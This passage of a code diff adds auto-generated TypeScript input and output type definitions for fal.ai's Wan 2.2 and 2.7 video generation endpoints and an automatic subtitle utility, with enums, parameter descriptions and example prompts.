the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BTextToVideoTurbo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/gallery/wan-t2v-turbo.mp4"} + * @type object + */ + video: File382E5Ba7 + /** + * @description The text prompt used for video generation. + * @default '' + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV22A14BVideoToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BVideoToVideoAccelerationEnumKey = + (typeof inputFalAiWanV22A14BVideoToVideoAccelerationEnum)[keyof typeof inputFalAiWanV22A14BVideoToVideoAccelerationEnum] + +export const inputFalAiWanV22A14BVideoToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BVideoToVideoAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BVideoToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BVideoToVideoAspectRatioEnum] + +export const inputFalAiWanV22A14BVideoToVideoResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BVideoToVideoResolutionEnumKey = + (typeof inputFalAiWanV22A14BVideoToVideoResolutionEnum)[keyof typeof inputFalAiWanV22A14BVideoToVideoResolutionEnum] + +export const inputFalAiWanV22A14BVideoToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BVideoToVideoVideoQualityEnumKey = + (typeof inputFalAiWanV22A14BVideoToVideoVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BVideoToVideoVideoQualityEnum] + +export const inputFalAiWanV22A14BVideoToVideoInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV22A14BVideoToVideoInterpolatorModelEnumKey = + (typeof inputFalAiWanV22A14BVideoToVideoInterpolatorModelEnum)[keyof typeof inputFalAiWanV22A14BVideoToVideoInterpolatorModelEnum] + +export const inputFalAiWanV22A14BVideoToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BVideoToVideoVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BVideoToVideoVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BVideoToVideoVideoWriteModeEnum] + +export type InputFalAiWanV22A14BVideoToVideo = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BVideoToVideoAccelerationEnumKey + /** + * @description URL of the input video. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan-2.2-v2v-input.mp4 + * @type string + */ + video_url: string + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BVideoToVideoAspectRatioEnumKey + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description If true, the video will be resampled to the passed frames per second. If false, the video will not be resampled. + * @default false + * @example false + * @type boolean | undefined + */ + resample_fps?: boolean + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example A low-angle medium shot captures a domestic white cat with brown and black patches and a blue bandana sitting on a light-colored tiled floor indoors, meticulously grooming itself by licking its paw and then rubbing its face with it, against a soft-focused background of wooden kitchen cabinets and a reflective metallic appliance. + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BVideoToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Strength of the video transformation. A value of 1.0 means the output will be completely based on the prompt, while a value of 0.0 means the output will be identical to the input video. + * @minimum 0 + * @maximum 1 + * @default 0.9 + * @example 0.9 + * @type number | undefined + */ + strength?: number + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 16 + * @example 16 + */ + frames_per_second?: number | null + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 4 + * @example 4 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BVideoToVideoVideoQualityEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV22A14BVideoToVideoInterpolatorModelEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BVideoToVideoVideoWriteModeEnumKey + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean +} + +export type File3D30A68C = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BVideoToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-2.2-v2v-output.mp4"} + * @type object + */ + video: File3D30A68C + /** + * @description The text prompt used for video generation. + * @default '' + * @example A low-angle medium shot captures a domestic white cat with brown and black patches and a blue bandana sitting on a light-colored tiled floor indoors, meticulously grooming itself by licking its paw and then rubbing its face with it, against a soft-focused background of wooden kitchen cabinets and a reflective metallic appliance. + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV27EditVideoAudioSettingEnum = { + auto: 'auto', + origin: 'origin', +} as const + +export type InputFalAiWanV27EditVideoAudioSettingEnumKey = + (typeof inputFalAiWanV27EditVideoAudioSettingEnum)[keyof typeof inputFalAiWanV27EditVideoAudioSettingEnum] + +export const inputFalAiWanV27EditVideoDurationEnum = { + '0': 0, + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, +} as const + +export type InputFalAiWanV27EditVideoDurationEnumKey = + (typeof inputFalAiWanV27EditVideoDurationEnum)[keyof typeof inputFalAiWanV27EditVideoDurationEnum] + +export const inputFalAiWanV27EditVideoAspectRatio = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiWanV27EditVideoAspectRatioKey = + (typeof inputFalAiWanV27EditVideoAspectRatio)[keyof typeof inputFalAiWanV27EditVideoAspectRatio] + +export const inputFalAiWanV27EditVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiWanV27EditVideoResolutionEnumKey = + (typeof inputFalAiWanV27EditVideoResolutionEnum)[keyof typeof inputFalAiWanV27EditVideoResolutionEnum] + +/** + * @description Input for Wan 2.7 video editing. + * + * Supports instruction-based editing, reference image-based editing, + * and video style transfer. + * @type object + */ +export type InputFalAiWanV27EditVideo = { + /** + * @description Audio handling. 'auto': model decides whether to regenerate audio. 'origin': preserve original audio from input video. + * @default 'auto' + * @type string | undefined + */ + audio_setting?: InputFalAiWanV27EditVideoAudioSettingEnumKey + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output video duration in seconds. Default 0 means match input video duration. When set (2-10), truncates from the start. + * @default 0 + * @type number | undefined + */ + duration?: InputFalAiWanV27EditVideoDurationEnumKey + /** + * @description URL of the input video to edit. Format: MP4, MOV. Duration: 2-10s. Max 100 MB. + * + * Max file size: 100.0MB, Min duration: 2s, Max duration: 10s, Timeout: 30.0s + * @example https://v3b.fal.media/files/b/0a940a70/s4jC3lmmbU8Q6xM-SFtWB_m5JJudvy.mp4 + * @type string + */ + video_url: string + /** + * @description Reference image URL for reference-based editing. + */ + reference_image_url?: string | null + /** + * @description Editing instruction or style transfer description. + * @minLength 1 + * @example Transform the entire scene into a beautiful watercolor painting style. Soft brushstrokes, flowing paint washes, visible paper texture. Colors should bleed and blend naturally like wet watercolor on paper. + * @type string + */ + prompt: string + /** + * @description Aspect ratio of the generated video. If not provided, uses the aspect ratio of the input video. + */ + aspect_ratio?: InputFalAiWanV27EditVideoAspectRatioKey | null + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiWanV27EditVideoResolutionEnumKey +} + +export type VideoFileA0Be17D3 = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null +} + +/** + * @description Output for Wan 2.7 video editing. + * @type object + */ +export type OutputFalAiWanV27EditVideo = { + /** + * @description The actual prompt used if prompt rewriting was enabled. + */ + actual_prompt?: string | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The edited video file. + * @type object + */ + video: VideoFileA0Be17D3 +} + +export const inputFalAiWanV27ImageToVideoDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputFalAiWanV27ImageToVideoDurationEnumKey = + (typeof inputFalAiWanV27ImageToVideoDurationEnum)[keyof typeof inputFalAiWanV27ImageToVideoDurationEnum] + +export const inputFalAiWanV27ImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiWanV27ImageToVideoResolutionEnumKey = + (typeof inputFalAiWanV27ImageToVideoResolutionEnum)[keyof typeof inputFalAiWanV27ImageToVideoResolutionEnum] + +/** + * @description Input for Wan 2.7 image-to-video generation. + * + * The wan2.7-i2v model is a unified endpoint supporting: + * - First-frame-to-video (provide image_url) + * - First-and-last-frame-to-video (provide image_url + end_image_url) + * - Video continuation (provide video_url instead of image_url) + * @type object + */ +export type InputFalAiWanV27ImageToVideo = { + /** + * @description Output video duration in seconds (2-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputFalAiWanV27ImageToVideoDurationEnumKey + /** + * @description Content to avoid in the video. Max 500 characters. + * @example low resolution, errors, worst quality, low quality, incomplete, extra fingers, bad proportions, blurry, distorted + */ + negative_prompt?: string | null + /** + * @description URL of a video clip to continue from. Format: MP4, MOV. Duration: 2-10s. Max 100 MB. Cannot be combined with image_url. + */ + video_url?: string | null + /** + * @description URL of the first frame image. Formats: JPEG, JPG, PNG, BMP, WEBP. Max 20 MB. + * @example https://v3b.fal.media/files/b/0a9413bb/qH6QY4JRzWxHOFKtCe70S_uPDJyzKZ.png + */ + image_url?: string | null + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Text prompt describing the desired video. Max 5000 characters. + * @example The massive humpback whale glides slowly through the deep blue water. It turns gracefully, its huge pectoral fin sweeping through the water like a wing. Sunbeams penetrate from above, illuminating the whale's textured skin. Small fish scatter. Awe-inspiring scale and grace. + */ + prompt?: string | null + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiWanV27ImageToVideoResolutionEnumKey + /** + * @description URL of the last frame image for first-and-last-frame-to-video. Same constraints as image_url. + */ + end_image_url?: string | null + /** + * @description Enable intelligent prompt rewriting. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description URL of driving audio. Supports WAV and MP3. Duration: 2-30s. Max 15 MB. + */ + audio_url?: string | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile3Cb44F26 = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null +} + +/** + * @description Output for Wan 2.7 image-to-video generation. + * @type object + */ +export type OutputFalAiWanV27ImageToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile3Cb44F26 + /** + * @description The actual prompt used if prompt rewriting was enabled. + */ + actual_prompt?: string | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWanV27ReferenceToVideoDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, +} as const + +export type InputFalAiWanV27ReferenceToVideoDurationEnumKey = + (typeof inputFalAiWanV27ReferenceToVideoDurationEnum)[keyof typeof inputFalAiWanV27ReferenceToVideoDurationEnum] + +export const inputFalAiWanV27ReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiWanV27ReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiWanV27ReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV27ReferenceToVideoAspectRatioEnum] + +export const inputFalAiWanV27ReferenceToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiWanV27ReferenceToVideoResolutionEnumKey = + (typeof inputFalAiWanV27ReferenceToVideoResolutionEnum)[keyof typeof inputFalAiWanV27ReferenceToVideoResolutionEnum] + +/** + * @description Input for Wan 2.7 reference-to-video generation. + * + * Supports single or multi-character video generation from reference images + * and/or videos. Also supports multi-shot narration. + * @type object + */ +export type InputFalAiWanV27ReferenceToVideo = { + /** + * @description Reference image URLs for character/object appearance. Pass multiple images for multi-subject generation. Max 20 MB each. + */ + reference_image_urls?: string[] | null + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Reference video URLs for character/object appearance and motion. Pass multiple videos for multi-subject generation. Max 100 MB each. + */ + reference_video_urls?: string[] | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output video duration in seconds (2-10). + * @default 5 + * @example 5 + * @example 10 + * @type number | undefined + */ + duration?: InputFalAiWanV27ReferenceToVideoDurationEnumKey + /** + * @description When true, enables intelligent multi-shot segmentation. When false (default), generates a single continuous shot. + * @default false + * @type boolean | undefined + */ + multi_shots?: boolean + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV27ReferenceToVideoAspectRatioEnumKey + /** + * @description Text prompt describing the desired video. Max 5000 characters. + * @minLength 1 + * @example A person walking through a beautiful garden, cinematic style. + * @type string + */ + prompt: string + /** + * @description Content to avoid in the video. Max 500 characters. + * @example low resolution, errors, worst quality, low quality + */ + negative_prompt?: string | null + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiWanV27ReferenceToVideoResolutionEnumKey +} + +export type VideoFile6Fa9Da46 = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null +} + +/** + * @description Output for Wan 2.7 reference-to-video generation. + * @type object + */ +export type OutputFalAiWanV27ReferenceToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile6Fa9Da46 + /** + * @description The actual prompt used if prompt rewriting was enabled. + */ + actual_prompt?: string | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWanV27TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputFalAiWanV27TextToVideoAspectRatioEnumKey = + (typeof inputFalAiWanV27TextToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV27TextToVideoAspectRatioEnum] + +export const inputFalAiWanV27TextToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiWanV27TextToVideoResolutionEnumKey = + (typeof inputFalAiWanV27TextToVideoResolutionEnum)[keyof typeof inputFalAiWanV27TextToVideoResolutionEnum] + +export const inputFalAiWanV27TextToVideoDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type InputFalAiWanV27TextToVideoDurationEnumKey = + (typeof inputFalAiWanV27TextToVideoDurationEnum)[keyof typeof inputFalAiWanV27TextToVideoDurationEnum] + +/** + * @description Input for Wan 2.7 text-to-video generation. + * @type object + */ +export type InputFalAiWanV27TextToVideo = { + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV27TextToVideoAspectRatioEnumKey + /** + * @description Enable intelligent prompt rewriting. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiWanV27TextToVideoResolutionEnumKey + /** + * @description URL of driving audio. Supports WAV and MP3. Duration: 3-30s. Max 15 MB. If not provided, the model auto-generates matching background music. + */ + audio_url?: string | null + /** + * @description Text prompt describing the desired video. Max 5000 characters. + * @minLength 1 + * @example A kitten running in a meadow, cinematic lighting, smooth camera movement. + * @type string + */ + prompt: string + /** + * @description Output video duration in seconds (2-15). + * @default 5 + * @example 5 + * @example 10 + * @example 15 + * @type number | undefined + */ + duration?: InputFalAiWanV27TextToVideoDurationEnumKey + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Content to avoid in the video. Max 500 characters. + * @example low resolution, errors, worst quality, low quality + */ + negative_prompt?: string | null +} + +export type VideoFile3Edd1F7C = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null +} + +/** + * @description Output for Wan 2.7 text-to-video generation. + * @type object + */ +export type OutputFalAiWanV27TextToVideo = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile3Edd1F7C + /** + * @description The actual prompt used if prompt rewriting was enabled. + */ + actual_prompt?: string | null + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWorkflowUtilitiesAutoSubtitleBackgroundColorEnum = { + black: 'black', + white: 'white', + red: 'red', + green: 'green', + blue: 'blue', + yellow: 'yellow', + orange: 'orange', + purple: 'purple', + pink: 'pink', + brown: 'brown', + gray: 'gray', + cyan: 'cyan', + magenta: 'magenta', + none: 'none', + transparent: 'transparent', +} as const + +export type InputFalAiWorkflowUtilitiesAutoSubtitleBackgroundColorEnumKey = + (typeof inputFalAiWorkflowUtilitiesAutoSubtitleBackgroundColorEnum)[keyof typeof inputFalAiWorkflowUtilitiesAutoSubtitleBackgroundColorEnum] + +export const inputFalAiWorkflowUtilitiesAutoSubtitleStrokeColorEnum = { + black: 'black', + white: 'white', + red: 'red', + green: 'green', + blue: 'blue', + yellow: 'yellow', + orange: 'orange', + purple: 'purple', + pink: 'pink', + brown: 'brown', + gray: 'gray', + cyan: 'cyan', + magenta: 'magenta', +} as const + +export type InputFalAiWorkflowUtilitiesAutoSubtitleStrokeColorEnumKey = + (typeof inputFalAiWorkflowUtilitiesAutoSubtitleStrokeColorEnum)[keyof typeof inputFalAiWorkflowUtilitiesAutoSubtitleStrokeColorEnum] + +export const inputFalAiWorkflowUtilitiesAutoSubtitleFontWeightEnum = { + normal: 'normal', + bold: 'bold', + black: 'black', +} as const + +export type InputFalAiWorkflowUtilitiesAutoSubtitleFontWeightEnumKey = + (typeof inputFalAiWorkflowUtilitiesAutoSubtitleFontWeightEnum)[keyof typeof inputFalAiWorkflowUtilitiesAutoSubtitleFontWeightEnum] + +export const inputFalAiWorkflowUtilitiesAutoSubtitleFontColorEnum = { + white: 'white', + black: 'black', + red: 'red', + green: 'green', + blue: 'blue', + yellow: 'yellow', + orange: 'orange', + purple: 'purple', + pink: 'pink', + brown: 'brown', + gray: 'gray', + cyan: 'cyan', + magenta: 'magenta', +} as const + +export type InputFalAiWorkflowUtilitiesAutoSubtitleFontColorEnumKey = + (typeof inputFalAiWorkflowUtilitiesAutoSubtitleFontColorEnum)[keyof typeof inputFalAiWorkflowUtilitiesAutoSubtitleFontColorEnum] + +export const inputFalAiWorkflowUtilitiesAutoSubtitlePositionEnum = { + top: 'top', + center: 'center', + bottom: 'bottom', +} as const + +export type InputFalAiWorkflowUtilitiesAutoSubtitlePositionEnumKey = + (typeof inputFalAiWorkflowUtilitiesAutoSubtitlePositionEnum)[keyof typeof inputFalAiWorkflowUtilitiesAutoSubtitlePositionEnum] + +export const inputFalAiWorkflowUtilitiesAutoSubtitleHighlightColorEnum = { + white: 'white', + black: 'black', + red: 'red', + green: 'green', + blue: 'blue', + yellow: 'yellow', + orange: 'orange', + purple: 'purple', + pink: 'pink', + brown: 'brown', + gray: 'gray', + cyan: 'cyan', + magenta: 'magenta', +} as const + +export type InputFalAiWorkflowUtilitiesAutoSubtitleHighlightColorEnumKey = + (typeof inputFalAiWorkflowUtilitiesAutoSubtitleHighlightColorEnum)[keyof typeof inputFalAiWorkflowUtilitiesAutoSubtitleHighlightColorEnum] + +/** + * @description Input model for automatic subtitle generation and styling + * @type object + */ +export type InputFalAiWorkflowUtilitiesAutoSubtitle = { + /** + * @description Font size for subtitles (TikTok style uses larger text) + * @minimum 20 + * @maximum 150 + * @default 100 + * @type integer | undefined + */ + font_size?: number + /** + * @description Background color behind text ('none' or 'transparent' for no background) + * @default 'none' + * @type string | undefined + */ + background_color?: InputFalAiWorkflowUtilitiesAutoSubtitleBackgroundColorEnumKey + /** + * @description Text stroke/outline width in pixels (0 for no stroke) + * @minimum 0 + * @maximum 10 + * @default 3 + * @type integer | undefined + */ + stroke_width?: number + /** + * @description Text stroke/outline color + * @default 'black' + * @type string | undefined + */ + stroke_color?: InputFalAiWorkflowUtilitiesAutoSubtitleStrokeColorEnumKey + /** + * @description Font weight (TikTok style typically uses bold or black) + * @default 'bold' + * @type string | undefined + */ + font_weight?: InputFalAiWorkflowUtilitiesAutoSubtitleFontWeightEnumKey + /** + * @description Subtitle text color for non-active words + * @default 'white' + * @type string | undefined + */ + font_color?: InputFalAiWorkflowUtilitiesAutoSubtitleFontColorEnumKey + /** + * @description Enable animation effects for subtitles (bounce style entrance) + * @default true + * @type boolean | undefined + */ + enable_animation?: boolean + /** + * @description Background opacity (0.0 = fully transparent, 1.0 = fully opaque) + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + background_opacity?: number + /** + * @description URL of the video file to add automatic subtitles to + * @example https://v3b.fal.media/files/b/kangaroo/oUCiZjQwEy6bIQdPUSLDF_output.mp4 + * @type string + */ + video_url: string + /** + * @description Any Google Font name from fonts.google.com (e.g., 'Montserrat', 'Poppins', 'BBH Sans Hegarty') + * @default 'Montserrat' + * @example Montserrat + * @example Poppins + * @example Bebas Neue + * @example Oswald + * @example Inter + * @example Roboto + * @example BBH Sans Hegarty + * @type string | undefined + */ + font_name?: string + /** + * @description Vertical position of subtitles + * @default 'bottom' + * @type string | undefined + */ + position?: InputFalAiWorkflowUtilitiesAutoSubtitlePositionEnumKey + /** + * @description Vertical offset in pixels (positive = move down, negative = move up) + * @minimum -200 + * @maximum 200 + * @default 75 + * @type integer | undefined + */ + y_offset?: number + /** + * @description Color for the currently speaking word (karaoke-style highlight) + * @default 'purple' + * @type string | undefined + */ + highlight_color?: InputFalAiWorkflowUtilitiesAutoSubtitleHighlightColorEnumKey + /** + * @description Language code for transcription (e.g., 'en', 'es', 'fr', 'de', 'it', 'pt', 'nl', 'ja', 'zh', 'ko') or 3-letter ISO code (e.g., 'eng', 'spa', 'fra') + * @default 'en' + * @example en + * @example es + * @example fr + * @example de + * @example it + * @example eng + * @example spa + * @example fra + * @type string | undefined + */ + language?: string + /** + * @description Maximum number of words per subtitle segment. Use 1 for single-word display, 2-3 for short phrases, or 8-12 for full sentences. + * @minimum 1 + * @maximum 12 + * @default 3 + * @example 1 + * @example 3 + * @example 6 + * @example 12 + * @type integer | undefined + */ + words_per_subtitle?: number +} + +export type File0D62A5Db = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Output model for video with automatic subtitles + * @type object + */ +export type OutputFalAiWorkflowUtilitiesAutoSubtitle = { + /** + * @description Number of subtitle segments generated + * @type integer + */ + subtitle_count: number + /** + * @description Full transcription text + * @type string + */ + transcription: 